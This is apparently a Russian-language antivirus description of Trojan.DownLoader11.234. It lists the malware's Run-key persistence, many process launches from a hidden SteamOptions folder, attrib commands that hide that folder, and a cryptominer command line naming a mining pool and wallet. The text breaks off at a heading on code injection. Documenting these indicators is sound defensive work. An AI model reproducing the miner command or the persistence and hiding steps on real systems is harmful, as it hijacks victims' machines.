Trojan.DownLoader11.234

Техническая информация

Для обеспечения автозапуска и распространения:

Модифицирует следующие ключи реестра:

[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'Monitor' = '%APPDATA%\SteamOptions\ethernetdriver.exe'

Вредоносные функции:

Создает и запускает на исполнение:

'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=3136
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=5916
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=2372
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=5428
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=3428
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=3728
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=3716
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=4676
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=6116
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=816
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=4028
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=2384
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=3088
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=5056
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=4976
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=4268
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=3948
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=5348
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=5596
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=5656
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=5376
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=4868
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=6016
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=2768
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=780
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=3408
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=4896
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=4748
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=3628
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=2508
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=6088
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=4836
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=1732
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=6076
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=3208
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=4756
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=4376
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=728
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=4048
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=3608
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=2916
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=4576
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=5188
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=4768
'%APPDATA%\SteamOptions\displaydrivers.exe' -a sha256 -g no -ostratum+tcp://stratum.mining.eligius.st:3334 -u 1DUcYqfRiybUhPxLYS462TeUUzsLYrkYqn -p x -t 2
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=5628
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=4196
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=988
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=2580
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=2560
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=4116
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=6068
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=5776
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=5996
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=4936
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=4816
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=5768
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=2596
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=3396
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=5176
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=4468
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=5196
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=5676
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=5068
'%APPDATA%\SteamOptions\displaydrivers.exe' /pid=5296
'<SYSTEM32>\cmd.exe' (загружен из сети Интернет)
'%APPDATA%\SteamOptions\displaydrivers.exe' (загружен из сети Интернет)
'<SYSTEM32>\attrib.exe' (загружен из сети Интернет)

Запускает на исполнение:

'<SYSTEM32>\attrib.exe' -a sha256 -g no -ostratum+tcp://stratum.mining.eligius.st:3334 -u 1DUcYqfRiybUhPxLYS462TeUUzsLYrkYqn -p x -t 2
'<SYSTEM32>\attrib.exe' -s -h %APPDATA%\SteamOptions

Внедряет код в

следующие системные процессы: